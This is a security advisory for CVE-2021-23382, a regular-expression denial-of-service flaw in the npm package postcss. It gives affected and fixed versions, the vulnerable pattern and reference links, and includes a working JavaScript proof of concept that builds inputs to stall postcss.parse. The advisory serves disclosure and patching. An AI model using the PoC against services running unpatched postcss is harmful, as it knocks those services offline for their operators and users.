CVE-2021-23382
Regular Expression Denial of Service in postcss
Impact
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | postcss | >= 8.0.0, < 8.2.13 | 8.2.13 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Postcss | Postcss | before 7.0.36 from 8.0.0 before 8.2.13 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
- https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
- https://github.com/advisories/GHSA-566m-qj78-rww5
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382
- https://github.com/postcss/postcss/releases/tag/7.0.36